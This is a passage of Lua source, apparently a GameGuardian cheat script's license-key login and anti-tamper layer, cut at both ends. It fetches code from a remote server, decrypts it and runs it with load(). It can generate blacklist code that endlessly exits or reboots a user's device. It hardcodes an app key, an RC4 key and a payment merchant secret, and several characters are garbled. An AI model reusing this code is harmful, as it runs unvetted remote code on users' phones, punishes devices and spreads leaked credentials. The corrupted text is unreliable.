"高级版专享验证RTX-4090\xFF\xABciABxYx验证防爆破" then return gg.alert("请先激活加密") end defend = '/sdcard/.defend.ini' loaddefend = loadfile(defend) if not loaddefend then defendcfg = {true, false, '', '', false, '', false, 2000, false, 5000, false, false, false, 1, ''} else defendcfg = loaddefend() end local hx = "" if fangan == "高级版" then hx = "[高级版加强版混淆]" end ::defendsx:: Pcfg = gg.prompt( { '[无法取消]JMP混淆'..hx, --1 'MD5(软件)校验', --2 checkMD5 '输入MD5,多个请用(英文,)隔开', --3 'MD5检验失败提示信息\n留空则使用默认提示', --4 'SIGN(签名)校验', --5 checkSign '输入签名MD5,多个请用(英文,)隔开', --6 'VPN(网络代理)检测', --7 gg.loopCheckVpn '运行间隔(毫秒),例如 2000,则每2秒检测一次VPN', --8 'KILLGG(杀死GG)', --9 gg.loopKillGG '运衋间隔(毫秒),例如 5000,则每5秒杀死一次GG', --10 'Xposed检测', --11 checkXposed '只允许运行在ROOT环境', --12 checkRoot 'QQ黑名单', --13 '设置黑名单触发操作\n1. 退出程序\n2. 重启设备', --14 '输入QQ,多个请用(英文,)隔开' --15 }, defendcfg ,{ 'checkbox', 'checkbox', 'text', 'text', 'checkbox', 'text', 'checkbox', 'text', 'checkbox', 'text', 'checkbox', 'checkbox', 'checkbox', 'text', 'text', }) local biao_12 = {} if Pcfg then if Pcfg[8] == '' then Pcfg[8] = 2000 end if Pcfg[7] then biao_12[#biao_12+1]="gg.loopCheckVpn("..Pcfg[8]..")" end if Pcfg[10] == '' then Pcfg[10] = 5000 end if Pcfg[9] then biao_12[#biao_12+1]="gg.loopKillGG("..Pcfg[10]..")" end if Pcfg[11] then biao_12[#biao_12+1]="checkXposed()" end if Pcfg[12] then biao_12[#biao_12+1]="if not checkRoot() then print(\034请在root的环境下运衋\034) while true do os.exit() end end" end if Pcfg[2] then if #Pcfg[3] < 32 then gg.alert('请填写有效的MD5校验信息') defendcfg = Pcfg goto defendsx else if Pcfg[4]=="" then biao_12[#biao_12+1]="checkMD5({\034"..Pcfg[3]:gsub(",","\034,\034").."\034})\n" else biao_12[#biao_12+1]="checkMD5({\034"..Pcfg[3]:gsub(",","\034,\034").."\034},\034"..Pcfg[4].."\034)\n" end end end if Pcfg[5] then if #Pcfg[6] < 32 then gg.alert('请填写有效的SIGN校骋信息') defendcfg = Pcfg goto defendsx else biao_12[#biao_12+1]="checkSign({\034"..Pcfg[6]:gsub(",","\034,\034").."\034})\n" end end if Pcfg[14] == '' then Pcfg[14] = 1 end if Pcfg[13] then if #Pcfg[15] == 0 then gg.alert('未填写QQ账号') defendcfg = Pcfg goto defendsx else Pcfg[14] = tonumber(Pcfg[14]) local fh if Pcfg[14] == 1 then fh = "os.exit()" else fh = "app.reboot()" end biao_12[#biao_12+1] = "if qq.exist("..Pcfg[15]..") then while true do "..fh.." end end" end end gg.saveVariable(Pcfg, defend) gg.alert("配置设置成功") biao_12 = table.concat(biao_12,"\n") return biao_12 end end local choose,kaishi local kamiXT1 = function() if yz_ == "高级版专享验证RTX-4090\xFF\xABciABxYx验证防爆破" then return gg.alert("你已激活高级版") end local yzkm fuhao= '"' local function w75eae53796daf42bc8dc33beb453df56_json2true(str,from,to) return true, from+3 end local function w75eae53796daf42bc8dc33beb453df56_json2false(str,from,to) return false, from+4 end local function w75eae53796daf42bc8dc33beb453df56_json2null(str, from, to) return nil, from+3 end local function w75eae53796daf42bc8dc33beb453df56_json2nan(str, from, to) return nul, from+2 end local numberchars = {['-'] = true,['+'] = true,['.'] = true,['0'] = true,['1'] = true,['2'] = true,['3'] = true,['4'] = true,['5'] = true,['6'] = true,['7'] = true,['8'] = true,['9'] = true} local function w75eae53796daf42bc8dc33beb453df56_json2number(str,from,to) local i = from+1 while(i<=to) do local char = string.sub(str, i, i) if not numberchars[char] then break end i = i + 1 end local num = tonumber(string.sub(str, from, i-1)) if not num then error(_format('json格式错误+不正确的数字, 错误位置:{from}', from)) end return num, i-1 end local function w75eae53796daf42bc8dc33beb453df56_json2string(str,from,to) local ignor = false for i = from+1, to do local char = string.sub(str, i, i) if not ignor then if char == fuhao then return string.sub(str, from+1, i-1), i elseif char == '\\' then ignor = true end else ignor = false end end error(_format('json格式错误,字符串没有找到结尾, 错误位置:{from}', from)) end local function w75eae53796daf42bc8dc33beb453df56_json2array(str,from,to) local result = {} from = from or 1 local pos = from+1 local to = to or string.len(str) while(pos<=to) do local char = string.sub(str, pos, pos) if char == fuhao then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2string(str,pos,to) elseif char == '[' then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2array(str,pos,to) elseif char == '{' then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2table(str,pos,to) elseif char == ']' then return result, pos elseif (char=='f' or char=='F') then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2false(str,pos,to) elseif (char=='t' or char=='T') then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2true(str,pos,to) elseif (char=='n') then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2null(str,pos,to) elseif (char=='N') then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2nan(str,pos,to) elseif numberchars[char] then result[#result+1], pos = w75eae53796daf42bc8dc33beb453df56_json2number(str,pos,to) end pos = pos + 1 end error(_format('json格式错误,表没有找到结尾, 错误位置:{from}', from)) end function _G.w75eae53796daf42bc8dc33beb453df56_json2table(str,from,to) local result = {} from = from or 1 local pos = from+1 local to = to or string.len(str) local key while(pos<=to) do local char = string.sub(str, pos, pos) if char == fuhao then if not key then key, pos = w75eae53796daf42bc8dc33beb453df56_json2string(str,pos,to) else result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2string(str,pos,to) key = nil end elseif char == '[' then if not key then key, pos = w75eae53796daf42bc8dc33beb453df56_json2array(str,pos,to) else result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2array(str,pos,to) key = nil end elseif char == '{' then if not key then key, pos = w75eae53796daf42bc8dc33beb453df56_json2table(str,pos,to) else result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2table(str,pos,to) key = nil end elseif char == '}' then return result, pos elseif (char=='f' or char=='F') then result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2false(str,pos,to) key = nil elseif (char=='t' or char=='T') then result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2true(str,pos,to) key = nil elseif (char=='n') then result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2null(str,pos,to) key = nil elseif (char=='N') then result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2nan(str,pos,to) key = nil elseif numberchars[char] then if not key then key, pos = w75eae53796daf42bc8dc33beb453df56_json2number(str,pos,to) else result[key], pos = w75eae53796daf42bc8dc33beb453df56_json2number(str,pos,to) key = nil end end pos = pos + 1 end error(_format('格式错误,表没有找到结尾, 错误位置:{from}', from)) end local jsonfuncs={[ fuhao ]=w75eae53796daf42bc8dc33beb453df56_json2string,['[']=w75eae53796daf42bc8dc33beb453df56_json2array,['{']=w75eae53796daf42bc8dc33beb453df56_json2table,['f']=w75eae53796daf42bc8dc33beb453df56_json2false,['F']=w75eae53796daf42bc8dc33beb453df56_json2false,['t']=w75eae53796daf42bc8dc33beb453df56_json2true,['T']=w75eae53796daf42bc8dc33beb453df56_json2true} local function w75eae53796daf42bc8dc33beb453df56_json2lua(str) if str==nil then gg.alert('错诨json') else local char = string.sub(str, 1, 1) local func=jsonfuncs[char] if func then return func(str, 1, string.len(str)) end if numberchars[char] then return w75eae53796daf42bc8dc33beb453df56_json2number(str, 1, string.len(str)) end end end local __index local LYF_DefEnv1 = {[""]=""} local LYF_DefEnv2 = {["输出你妈"]="输出佧妈"} setmetatable(LYF_DefEnv1, {__index = _ENV}) _ENV=LYF_DefEnv1 _G=LYF_DefEnv2 local function w75eae53796daf42bc8dc33beb453df56_md5(code) local code = tostring(code) local HexTable = {"0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"} local A = 0x67452301 local B = 0xefcdab89 local C = 0x98badcfe local D = 0x10325476 local S11 = 7 local S12 = 12 local S13 = 17 local S14 = 22 local S21 = 5 local S22 = 9 local S23 = 14 local S24 = 20 local S31 = 4 local S32 = 11 local S33 = 16 local S34 = 23 local S41 = 6 local S42 = 10 local S43 = 15 local S44 = 21 local function F(x,y,z) return (x & y) | ((~x) & z) end local function G(x,y,z) return (x & z) | (y & (~z)) end local function H(x,y,z) return x ~ y ~ z end local function I(x,y,z) return y ~ (x | (~z)) end local function FF(a,b,c,d,x,s,ac) a = a + F(b,c,d) + x + ac a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b return a & 0xffffffff end local function GG(a,b,c,d,x,s,ac) a = a + G(b,c,d) + x + ac a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b return a & 0xffffffff end local function HH(a,b,c,d,x,s,ac) a = a + H(b,c,d) + x + ac a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b return a & 0xffffffff end local function II(a,b,c,d,x,s,ac) a = a + I(b,c,d) + x + ac a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b return a & 0xffffffff end local function MD5StringFill(s) local len = s:len() local mod512 = len * 8 % 512 local fillSize = (448 - mod512) // 8 if mod512 > 448 then fillSize = (960 - mod512) // 8 end local rTab = {} local byteIndex = 1 for i = 1,len do local index = (i - 1) // 4 + 1 rTab[index] = rTab[index] or 0 rTab[index] = rTab[index] | (s:byte(i) << (byteIndex - 1) * 8) byteIndex = byteIndex + 1 if byteIndex == 5 then byteIndex = 1 end end local b0x80 = false local tLen = #rTab if byteIndex ~= 1 then rTab[tLen] = rTab[tLen] | 0x80 << (byteIndex - 1) * 8 b0x80 = true end for i = 1,fillSize // 4 do if not b0x80 and i == 1 then rTab[tLen + i] = 0x80 else rTab[tLen + i] = 0x0 end end local bitLen = math.floor(len * 8) tLen = #rTab rTab[tLen + 1] = bitLen & 0xffffffff rTab[tLen + 2] = bitLen >> 32 return rTab end function getmd5(s) local fillTab = MD5StringFill(s) local result = {A,B,C,D} for i = 1,#fillTab // 16 do local a = result[1] local b = result[2] local c = result[3] local d = result[4] local offset = (i - 1) * 16 + 1 a = FF(a, b, c, d, fillTab[offset + 0], S11, 0xd76aa478) d = FF(d, a, b, c, fillTab[offset + 1], S12, 0xe8c7b756) c = FF(c, d, a, b, fillTab[offset + 2], S13, 0x242070db) b = FF(b, c, d, a, fillTab[offset + 3], S14, 0xc1bdceee) a = FF(a, b, c, d, fillTab[offset + 4], S11, 0xf57c0faf) d = FF(d, a, b, c, fillTab[offset + 5], S12, 0x4787c62a) c = FF(c, d, a, b, fillTab[offset + 6], S13, 0xa8304613) b = FF(b, c, d, a, fillTab[offset + 7], S14, 0xfd469501) a = FF(a, b, c, d, fillTab[offset + 8], S11, 0x698098d8) d = FF(d, a, b, c, fillTab[offset + 9], S12, 0x8b44f7af) c = FF(c, d, a, b, fillTab[offset + 10], S13, 0xffff5bb1) b = FF(b, c, d, a, fillTab[offset + 11], S14, 0x895cd7be) a = FF(a, b, c, d, fillTab[offset + 12], S11, 0x6b901122) d = FF(d, a, b, c, fillTab[offset + 13], S12, 0xfd987193) c = FF(c, d, a, b, fillTab[offset + 14], S13, 0xa679438e) b = FF(b, c, d, a, fillTab[offset + 15], S14, 0x49b40821) a = GG(a, b, c, d, fillTab[offset + 1], S21, 0xf61e2562) d = GG(d, a, b, c, fillTab[offset + 6], S22, 0xc040b340) c = GG(c, d, a, b, fillTab[offset + 11], S23, 0x265e5a51) b = GG(b, c, d, a, fillTab[offset + 0], S24, 0xe9b6c7aa) a = GG(a, b, c, d, fillTab[offset + 5], S21, 0xd62f105d) d = GG(d, a, b, c, fillTab[offset + 10], S22, 0x2441453) c = GG(c, d, a, b, fillTab[offset + 15], S23, 0xd8a1e681) b = GG(b, c, d, a, fillTab[offset + 4], S24, 0xe7d3fbc8) a = GG(a, b, c, d, fillTab[offset + 9], S21, 0x21e1cde6) d = GG(d, a, b, c, fillTab[offset + 14], S22, 0xc33707d6) c = GG(c, d, a, b, fillTab[offset + 3], S23, 0xf4d50d87) b = GG(b, c, d, a, fillTab[offset + 8], S24, 0x455a14ed) a = GG(a, b, c, d, fillTab[offset + 13], S21, 0xa9e3e905) d = GG(d, a, b, c, fillTab[offset + 2], S22, 0xfcefa3f8) c = GG(c, d, a, b, fillTab[offset + 7], S23, 0x676f02d9) b = GG(b, c, d, a, fillTab[offset + 12], S24, 0x8d2a4c8a) a = HH(a, b, c, d, fillTab[offset + 5], S31, 0xfffa3942) d = HH(d, a, b, c, fillTab[offset + 8], S32, 0x8771f681) c = HH(c, d, a, b, fillTab[offset + 11], S33, 0x6d9d6122) b = HH(b, c, d, a, fillTab[offset + 14], S34, 0xfde5380c) a = HH(a, b, c, d, fillTab[offset + 1], S31, 0xa4beea44) d = HH(d, a, b, c, fillTab[offset + 4], S32, 0x4bdecfa9) c = HH(c, d, a, b, fillTab[offset + 7], S33, 0xf6bb4b60) b = HH(b, c, d, a, fillTab[offset + 10], S34, 0xbebfbc70) a = HH(a, b, c, d, fillTab[offset + 13], S31, 0x289b7ec6) d = HH(d, a, b, c, fillTab[offset + 0], S32, 0xeaa127fa) c = HH(c, d, a, b, fillTab[offset + 3], S33, 0xd4ef3085) b = HH(b, c, d, a, fillTab[offset + 6], S34, 0x4881d05) a = HH(a, b, c, d, fillTab[offset + 9], S31, 0xd9d4d039) d = HH(d, a, b, c, fillTab[offset + 12], S32, 0xe6db99e5) c = HH(c, d, a, b, fillTab[offset + 15], S33, 0x1fa27cf8) b = HH(b, c, d, a, fillTab[offset + 2], S34, 0xc4ac5665) a = II(a, b, c, d, fillTab[offset + 0], S41, 0xf4292244) d = II(d, a, b, c, fillTab[offset + 7], S42, 0x432aff97) c = II(c, d, a, b, fillTab[offset + 14], S43, 0xab9423a7) b = II(b, c, d, a, fillTab[offset + 5], S44, 0xfc93a039) a = II(a, b, c, d, fillTab[offset + 12], S41, 0x655b59c3) d = II(d, a, b, c, fillTab[offset + 3], S42, 0x8f0ccc92) c = II(c, d, a, b, fillTab[offset + 10], S43, 0xffeff47d) b = II(b, c, d, a, fillTab[offset + 1], S44, 0x85845dd1) a = II(a, b, c, d, fillTab[offset + 8], S41, 0x6fa87e4f) d = II(d, a, b, c, fillTab[offset + 15], S42, 0xfe2ce6e0) c = II(c, d, a, b, fillTab[offset + 6], S43, 0xa3014314) b = II(b, c, d, a, fillTab[offset + 13], S44, 0x4e0811a1) a = II(a, b, c, d, fillTab[offset + 4], S41, 0xf7537e82) d = II(d, a, b, c, fillTab[offset + 11], S42, 0xbd3af235) c = II(c, d, a, b, fillTab[offset + 2], S43, 0x2ad7d2bb) b = II(b, c, d, a, fillTab[offset + 9], S44, 0xeb86d391) result[1] = result[1] + a result[2] = result[2] + b result[3] = result[3] + c result[4] = result[4] + d result[1] = result[1] & 0xffffffff result[2] = result[2] & 0xffffffff result[3] = result[3] & 0xffffffff result[4] = result[4] & 0xffffffff end local retStr = '' for i = 1,4 do for _ = 1,4 do local temp = result[i] & 0x0F local str = HexTable[temp + 1] result[i] = result[i] >> 4 temp = result[i] & 0x0F retStr = retStr .. HexTable[temp + 1] .. str result[i] = result[i] >> 4 end end return string.lower(retStr) end return getmd5(code) end ZZRc4 = {} ZZMathBit = {} function ZZMathBit.__xorBit(left, right) return (left + right) == 1 and 1 or 0 end function ZZMathBit.__base(left, right, op) if left < right then left, right = right, left end local res = 0 local shift = 1 while left ~= 0 do local ra = left % 2 local rb = right % 2 res = shift * op(ra,rb) + res shift = shift * 2 left = math.modf( left / 2) right = math.modf( right / 2) end return res end function ZZMathBit.xorOp(left, right) return ZZMathBit.__base(left, right, ZZMathBit.__xorBit) end local function w75eae53796daf42bc8dc33beb453df56_rc4(text,key,kasi) if kasi==false then str = text str=str:gsub("[%s%p]",""):upper() local index=1 local ret="" for index=1,str:len(),2 do ret=ret..string.char(tonumber(str:sub(index,index+1),16)) end text=ret end local function KSA(key) local keyLen = string.len(key) local schedule = {} local keyByte = {} for i = 0, 255 do schedule[i] = i end for i = 1, keyLen do keyByte[i - 1] = string.byte(key, i, i) end local j = 0 for i = 0, 255 do j = (j + schedule[i] + keyByte[ i % keyLen]) % 256 schedule[i], schedule[j] = schedule[j], schedule[i] end return schedule end local function PRGA(schedule, textLen) local i = 0 local j = 0 local k = {} for n = 1, textLen do i = (i + 1) % 256 j = (j + schedule[i]) % 256 schedule[i], schedule[j] = schedule[j], schedule[i] k[n] = schedule[(schedule[i] + schedule[j]) % 256] end return k end local function output(schedule, text) local len = string.len(text) local c = nil local res = {} for i = 1, len do c = string.byte(text, i,i) res[i] = string.char(ZZMathBit.xorOp(schedule[i], c)) end return table.concat(res) end local textLen = string.len(text) local schedule = KSA(key) local k = PRGA(schedule, textLen) str=output(k, text) if kasi==true then str = tostring(str) local index=1 local ret="" for index=1,str:len() do ret=ret..string.format("%02X",str:sub(index):byte()) end return string.lower(ret) else return str end end local function w75eae53796daf42bc8dc33beb453df56_ultra(get,post) local c=gg.makeRequest(get,nil,post).content if c==nil then gg.alert("网络错误了,请检查你的网络") os.exit() end return c end function download(get,address) local c=gg.makeRequest(get,nil,nil).content if c==nil then gg.alert("网络错误了,请检查佧的网络") os.exit() end io.open(address,"w+"):write(c) gg.toast("下载成功") end ---[=[上面不要乱动]=]------------------------------------------------------------------------------------------------------------------- local w75eae53796daf42bc8dc33beb453df56="https://wy.llua.cn/" --官网 local w75eae53796daf42bc8dc33beb453df56_Kami=w75eae53796daf42bc8dc33beb453df56.."api/?id=kmlogin" --接口名称[卡密登录] local w75eae53796daf42bc8dc33beb453df56_jieba=w75eae53796daf42bc8dc33beb453df56.."api/?id=kmunmachine" --接口名称[卡密解绑] local w75eae53796daf42bc8dc33beb453df56_Notice=w75eae53796daf42bc8dc33beb453df56.."api/?id=notice" --接口名称[应用公告] ---[=[ 上面是对接 ]=]------------------------------------------------------------------------------------------------------------------- local w75eae53796daf42bc8dc33beb453df56_APPID='70528' --APPID local w75eae53796daf42bc8dc33beb453df56_APPKEY='4TbY0Yr1Ax7YXjbj' --APPKEY local w75eae53796daf42bc8dc33beb453df56_RC4_key='5fb43dc52eea4bd63fa5ee7317df94f3' --是否 RC4 加密[key 密钥] local w75eae53796daf42bc8dc33beb453df56_RC4="开" --选择 RC4加密-2 否则会乱码 --打弇 签名放DATA釋:打开 if w75eae53796daf42bc8dc33beb453df56_RC4=="关" then gg.alert("RC4-2加密未开启,会有破解风险,禁止瞻录,请前往后台配置RC4-2秘钥") os.exit() end AMI_YDO="/sdcard" --卡密 设备码 路径,正弈环境记得去替换自己的 ---------------------------------------------------------------------------------------------------------------------- if w75eae53796daf42bc8dc33beb453df56_APPID=="" or w75eae53796daf42bc8dc33beb453df56_APPKEY=="" then gg.alert("对接数据,空...")--对话框 os.exit() end ---------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------- local w75eae53796daf42bc8dc33beb453df56_Notice=w75eae53796daf42bc8dc33beb453df56_ultra(w75eae53796daf42bc8dc33beb453df56_Notice.."&app=".. w75eae53796daf42bc8dc33beb453df56_APPID,"") if w75eae53796daf42bc8dc33beb453df56_RC4 == "开" then w75eae53796daf42bc8dc33beb453df56_Notice=w75eae53796daf42bc8dc33beb453df56_rc4(w75eae53796daf42bc8dc33beb453df56_Notice,w75eae53796daf42bc8dc33beb453df56_RC4_key,false) gg.setVisible(false) end ---[=[ 云函数 ]=]------------------------------------------------------------------------------------------------------------------- xpcall(function() local w75eae53796daf42bc8dc33beb453df56_ls = load pcall(w75eae53796daf42bc8dc33beb453df56_ls(w75eae53796daf42bc8dc33beb453df56_rc4(gg.makeRequest("http://app.llua.cn/api/?id=lua",post,"appid="..w75eae53796daf42bc8dc33beb453df56_APPID).content,w75eae53796daf42bc8dc33beb453df56_APPKEY,false))) end,function() print("[微骋云函数]正修改器不支拁云函数或云函数存在语法错误") end) if w75eae53796daf42bc8dc33beb453df56_json2lua(w75eae53796daf42bc8dc33beb453df56_Notice)['code'] == 200 then if w75eae53796daf42bc8dc33beb453df56_json2lua(w75eae53796daf42bc8dc33beb453df56_Notice).msg.app_gg ~= "" then ggstr = string.gsub(w75eae53796daf42bc8dc33beb453df56_json2lua(w75eae53796daf42bc8dc33beb453df56_Notice).msg.app_gg,"\\n","\n") gg.alert("公告:"..ggstr)--对话框 end else gg.alert("公告接口:"..w75eae53796daf42bc8dc33beb453df56_json2lua(w75eae53796daf42bc8dc33beb453df56_Notice).msg)--对话框 os.exit() end w75eae53796daf42bc8dc33beb453df56=999 ---------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------- function w75eae53796daf42bc8dc33beb453df56_MIAN() miei=io.open(AMI_YDO..'/miei','r') if miei==nil or miei:read("*a")== "" then miei=w75eae53796daf42bc8dc33beb453df56_md5(os.time()*1000+611-99999) io.open(AMI_YDO..'/miei','w+'):write(miei) else miei=io.open(AMI_YDO..'/miei','r'):read("*a") end function w75eae53796daf42bc8dc33beb453df56_KM_G(km) local w75eae53796daf42bc8dc33beb453df56_key=w75eae53796daf42bc8dc33beb453df56_md5("kami="..km.."&markcode="..miei.."&t="..os.time().."&".. w75eae53796daf42bc8dc33beb453df56_APPKEY) local w75eae53796daf42bc8dc33beb453df56_bops="kami="..km.."&markcode="..miei.."&t="..os.time().."&sign="..w75eae53796daf42bc8dc33beb453df56_key if w75eae53796daf42bc8dc33beb453df56_RC4 == "开" then w75eae53796daf42bc8dc33beb453df56_bops= "data="..w75eae53796daf42bc8dc33beb453df56_rc4(w75eae53796daf42bc8dc33beb453df56_bops,w75eae53796daf42bc8dc33beb453df56_RC4_key,true) end local w75eae53796daf42bc8dc33beb453df56_HUT=w75eae53796daf42bc8dc33beb453df56_ultra(w75eae53796daf42bc8dc33beb453df56_jieba.."&app=".. w75eae53796daf42bc8dc33beb453df56_APPID,w75eae53796daf42bc8dc33beb453df56_bops) if w75eae53796daf42bc8dc33beb453df56_RC4 == "开" then w75eae53796daf42bc8dc33beb453df56_HUT=w75eae53796daf42bc8dc33beb453df56_rc4(w75eae53796daf42bc8dc33beb453df56_HUT,w75eae53796daf42bc8dc33beb453df56_RC4_key,false) end return w75eae53796daf42bc8dc33beb453df56_HUT end km=io.open(AMI_YDO..'/km','r') if km==nil then else km=io.open(AMI_YDO..'/km','r'):read("*a") end e=io.open(AMI_YDO..'/e.log','r') if e==nil or e:read("*a")== "" then e="1" io.open(AMI_YDO..'/e.log','w+'):write(e) else e=io.open(AMI_YDO..'/e.log','r'):read("*a") end if e== "1" then e=false else e=true end local w75eae53796daf42bc8dc33beb453df56_Random=w75eae53796daf42bc8dc33beb453df56_md5(os.time()*1000+611*os.time()-999999)..w75eae53796daf42bc8dc33beb453df56_APPKEY..miei function w75eae53796daf42bc8dc33beb453df56_KM_LL(km) local w75eae53796daf42bc8dc33beb453df56_key=w75eae53796daf42bc8dc33beb453df56_md5("kami="..km.."&markcode="..miei.."&t="..os.time().."&".. w75eae53796daf42bc8dc33beb453df56_APPKEY) local w75eae53796daf42bc8dc33beb453df56_bops="kami="..km.."&markcode="..miei.."&t="..os.time().."&sign="..w75eae53796daf42bc8dc33beb453df56_key if w75eae53796daf42bc8dc33beb453df56_RC4 == "开" then w75eae53796daf42bc8dc33beb453df56_bops="data="..w75eae53796daf42bc8dc33beb453df56_rc4(w75eae53796daf42bc8dc33beb453df56_bops,w75eae53796daf42bc8dc33beb453df56_RC4_key,true) end local w75eae53796daf42bc8dc33beb453df56_HUT=w75eae53796daf42bc8dc33beb453df56_ultra(w75eae53796daf42bc8dc33beb453df56_Kami.."&app=".. w75eae53796daf42bc8dc33beb453df56_APPID,w75eae53796daf42bc8dc33beb453df56_bops.."&value="..w75eae53796daf42bc8dc33beb453df56_Random) --请求数据 if w75eae53796daf42bc8dc33beb453df56_RC4 == "开" then w75eae53796daf42bc8dc33beb453df56_HUT=w75eae53796daf42bc8dc33beb453df56_rc4(w75eae53796daf42bc8dc33beb453df56_HUT,w75eae53796daf42bc8dc33beb453df56_RC4_key,false) end local KM_L=w75eae53796daf42bc8dc33beb453df56_json2lua(w75eae53796daf42bc8dc33beb453df56_HUT) local w75eae53796daf42bc8dc33beb453df56_id=KM_L.z9201700df412d3004745b67df38f428c.v251a783fb27cd6a40e09623b3a4f04c2 local w75eae53796daf42bc8dc33beb453df56_code=KM_L.a2cc41c3a0cb07d306c9cc62cb01eab16 local w75eae53796daf42bc8dc33beb453df56_msg=KM_L.z9201700df412d3004745b67df38f428c local w75eae53796daf42bc8dc33beb453df56_check=KM_L.bc10074e14a94cbf0767424cca5c621f6 local w75eae53796daf42bc8dc33beb453df56_time=KM_L.gdd8ec5f811c2e12d4f98ff3782f101fa if w75eae53796daf42bc8dc33beb453df56_code~= 67824 then io.open(AMI_YDO..'/e.log','w+'):write("1") gg.alert(w75eae53796daf42bc8dc33beb453df56_msg) w75eae53796daf42bc8dc33beb453df56_MIAN() else if w75eae53796daf42bc8dc33beb453df56_check~= w75eae53796daf42bc8dc33beb453df56_md5(""..w75eae53796daf42bc8dc33beb453df56_time..""..w75eae53796daf42bc8dc33beb453df56_APPKEY..""..w75eae53796daf42bc8dc33beb453df56_Random.."") then gg.alert("脚本:检测到你有非法操作") os.exit() end if w75eae53796daf42bc8dc33beb453df56_time-os.time()>30 or w75eae53796daf42bc8dc33beb453df56_time-os.time()<-30 then gg.alert("脚本:数据过期"..w75eae53796daf42bc8dc33beb453df56_time-os.time()) os.exit() end TT=gg.alert("到期时间:-----------\n" ..os.date("%Y".."年".."%m".."月".."%d".."日 %H".."时".."%M".."分".."%S".."秒",w75eae53796daf42bc8dc33beb453df56_msg.cf40d672e34970650e710acb7d69254c6),"确定","返回")--对话框 if km ~= nil then io.open(AMI_YDO..'/km','w+'):write(km) end if TT== 2 then io.open(AMI_YDO..'/e.log','w+'):write("1") w75eae53796daf42bc8dc33beb453df56_MIAN() else ---[=[ ]=]------------------------------------------------------------------------------------------------------------------- ---[=[ ]=]------------------------------------------------------------------------------------------------------------------- fangan = "高级版" return "高级版专享验证RTX-4090\xFF\xABciABxYx骋证防爆破" ---[=[ ]=]------------------------------------------------------------------------------------------------------------------- end end end if km == nil then else if km ~="" then if e==true then return w75eae53796daf42bc8dc33beb453df56_KM_LL(km) end end end local w75eae53796daf42bc8dc33beb453df56_hak=gg.prompt({ "输入你的卡密", "下次自动登傥", "卡密解绑模式", "返回上一页", },{ km, e, jb },{ 'text',--文字 'checkbox',--多选 'checkbox',--多选 'checkbox',--多选 })--文本功能 if w75eae53796daf42bc8dc33beb453df56_hak==nil then elseif w75eae53796daf42bc8dc33beb453df56_hak[4]==true then return false elseif w75eae53796daf42bc8dc33beb453df56_hak[2]==true then io.open(AMI_YDO..'/e.log','w+'):write("2") elseif w75eae53796daf42bc8dc33beb453df56_hak[2]==false then io.open(AMI_YDO..'/e.log','w+'):write("1") end if w75eae53796daf42bc8dc33beb453df56_hak==nil then gg.setVisible(false) w75eae53796daf42bc8dc33beb453df56=nil elseif w75eae53796daf42bc8dc33beb453df56_hak[3]==true then if w75eae53796daf42bc8dc33beb453df56_hak[1]== "" then gg.alert("空,请填写卡密") else local w75eae53796daf42bc8dc33beb453df56_KM_G=w75eae53796daf42bc8dc33beb453df56_json2lua(w75eae53796daf42bc8dc33beb453df56_KM_G(w75eae53796daf42bc8dc33beb453df56_hak[1])) if w75eae53796daf42bc8dc33beb453df56_KM_G.code== 200 then gg.alert("解绑成功") else gg.alert(w75eae53796daf42bc8dc33beb453df56_KM_G.msg) end end elseif w75eae53796daf42bc8dc33beb453df56_hak[1]== "" then gg.alert("空,请填写卡密") io.open(AMI_YDO..'/e.log','w+'):write("1") else return w75eae53796daf42bc8dc33beb453df56_KM_LL(w75eae53796daf42bc8dc33beb453df56_hak[1]) end end while true do if gg.isVisible(true) then gg.setVisible(false) yzkm = w75eae53796daf42bc8dc33beb453df56_MIAN() if yzkm then break end else if w75eae53796daf42bc8dc33beb453df56== 999 then gg.setVisible(true) else end end end return yzkm end local function kamiXT0() --[[ -- 易管理-永生客 --如果需要使用本脚本请先下载易管理APP 易管理官网:www.ssmax.top ]] function ZKZ() -- 易管理-API接口 local YGLAPI = 'http://Ysk.ssmax.top/' -- 易管理-账号--{换成你自己的易管理账号} local YGLZH = '123789' -- 安全码{这釋如果开启需要更换} local key = 'xlnb886123' -- 易管理接口 local YGLZFJ = YGLAPI..'monepaylist2.php?' -- 易管理支付配置[第三方易支付链接] local YGLYZF = 'http://mf.xn--6krq4qu0oef3b.cn/api.php?'--{这釋需要更换} -- 易管理支付配置[ID] local YGLZFID = '138219337'--{这里需要更换} -- 易管理支付配置[密钥] local YGLZFMY = 'twpbNJitZ2j2ibA7KozuaOonp4I57jA8'--{这里需要更换} -- 易管理-登录参数 local logincs = 'userlogin.php?' local Registration = YGLAPI..'userregister.php?admin='..YGLZH local yz = YGLAPI..'MY.php?' local yzapi = 'admin='..YGLZH -- 您的项目在线人数接口 local zxrs = YGLAPI..'online_see.php?admin='..YGLZH -- 您的项目总启动次数 local qdcs = YGLAPI..'startnum.php/?user='..YGLZH local QD = gg.makeRequest(qdcs).content -- 用户UI local ZUI = gg.choice({'登底账号','注册账号'},YGL,QD) if ZUI == nil then return end if ZUI == 2 then local UI1 = gg.prompt({ '请输入你的账号','请输入你的密码','请输兢昵称','请输入您的QQ','请输入邀请码[可不输入]' },{ '','','','','' },{'text','text','text','text','text'}) if UI1 == nil then return gg.alert('未输傥') end local zc = 